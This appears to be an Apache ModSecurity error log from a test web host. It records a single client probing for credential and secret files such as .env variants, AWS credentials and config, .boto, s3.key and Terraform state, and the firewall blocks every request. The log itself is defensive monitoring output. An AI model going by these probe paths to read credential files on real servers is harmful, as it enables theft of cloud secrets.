[Fri Mar 13 10:38:46.189260 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abPbJnATcTB67jsribTsIwAAAAg"]
[Fri Mar 13 10:38:46.189452 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abPbJnATcTB67jsribTsIwAAAAg"]
[Fri Mar 13 10:38:46.189581 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abPbJnATcTB67jsribTsIwAAAAg"]
[Fri Mar 13 10:38:46.398237 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3.key"] [unique_id "abPbJnATcTB67jsribTsLAAAAAg"]
[Fri Mar 13 10:38:46.398647 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3.key"] [unique_id "abPbJnATcTB67jsribTsLAAAAAg"]
[Fri Mar 13 10:38:46.398789 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3.key"] [unique_id "abPbJnATcTB67jsribTsLAAAAAg"]
[Fri Mar 13 10:38:46.444294 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abPbJnATcTB67jsribTsLgAAAAg"]
[Fri Mar 13 10:38:46.444525 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /s3/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abPbJnATcTB67jsribTsLgAAAAg"]
[Fri Mar 13 10:38:46.444714 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abPbJnATcTB67jsribTsLgAAAAg"]
[Fri Mar 13 10:38:46.444853 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.env.bak"] [unique_id "abPbJnATcTB67jsribTsLgAAAAg"]
[Fri Mar 13 10:38:46.467082 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsLwAAAAg"]
[Fri Mar 13 10:38:46.467280 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsLwAAAAg"]
[Fri Mar 13 10:38:46.467415 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsLwAAAAg"]
[Fri Mar 13 10:38:46.489532 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /root/.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/config"] [unique_id "abPbJnATcTB67jsribTsMAAAAAg"]
[Fri Mar 13 10:38:46.489722 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/config"] [unique_id "abPbJnATcTB67jsribTsMAAAAAg"]
[Fri Mar 13 10:38:46.489848 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.aws/config"] [unique_id "abPbJnATcTB67jsribTsMAAAAAg"]
[Fri Mar 13 10:38:46.511916 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/*/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsMQAAAAg"]
[Fri Mar 13 10:38:46.512117 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsMQAAAAg"]
[Fri Mar 13 10:38:46.512247 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/*/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsMQAAAAg"]
[Fri Mar 13 10:38:46.534305 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.boto"] [unique_id "abPbJnATcTB67jsribTsMgAAAAg"]
[Fri Mar 13 10:38:46.534516 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.boto"] [unique_id "abPbJnATcTB67jsribTsMgAAAAg"]
[Fri Mar 13 10:38:46.534644 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.boto"] [unique_id "abPbJnATcTB67jsribTsMgAAAAg"]
[Fri Mar 13 10:38:46.556814 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /root/.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.boto"] [unique_id "abPbJnATcTB67jsribTsMwAAAAg"]
[Fri Mar 13 10:38:46.557007 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.boto"] [unique_id "abPbJnATcTB67jsribTsMwAAAAg"]
[Fri Mar 13 10:38:46.557132 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/root/.boto"] [unique_id "abPbJnATcTB67jsribTsMwAAAAg"]
[Fri Mar 13 10:38:46.624778 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".cfg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/boto.cfg"] [unique_id "abPbJnATcTB67jsribTsNgAAAAg"]
[Fri Mar 13 10:38:46.625188 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/boto.cfg"] [unique_id "abPbJnATcTB67jsribTsNgAAAAg"]
[Fri Mar 13 10:38:46.625314 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/boto.cfg"] [unique_id "abPbJnATcTB67jsribTsNgAAAAg"]
[Fri Mar 13 10:38:46.693310 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform.tfstate.backup"] [unique_id "abPbJnATcTB67jsribTsOQAAAAg"]
[Fri Mar 13 10:38:46.693726 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform.tfstate.backup"] [unique_id "abPbJnATcTB67jsribTsOQAAAAg"]
[Fri Mar 13 10:38:46.693861 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform.tfstate.backup"] [unique_id "abPbJnATcTB67jsribTsOQAAAAg"]
[Fri Mar 13 10:38:47.092347 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/terraform.tfstate
[Fri Mar 13 10:38:47.114323 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.terraform
[Fri Mar 13 10:38:47.136532 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /~/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/credentials"] [unique_id "abPbJ9w5WhVPlcU-Rd0sagAAAAY"]
[Fri Mar 13 10:38:47.136728 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/credentials"] [unique_id "abPbJ9w5WhVPlcU-Rd0sagAAAAY"]
[Fri Mar 13 10:38:47.136847 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/credentials"] [unique_id "abPbJ9w5WhVPlcU-Rd0sagAAAAY"]
[Fri Mar 13 10:38:47.158898 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /~/.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/config"] [unique_id "abPbJ9w5WhVPlcU-Rd0sawAAAAY"]
[Fri Mar 13 10:38:47.159096 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/config"] [unique_id "abPbJ9w5WhVPlcU-Rd0sawAAAAY"]
[Fri Mar 13 10:38:47.159209 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.aws/config"] [unique_id "abPbJ9w5WhVPlcU-Rd0sawAAAAY"]
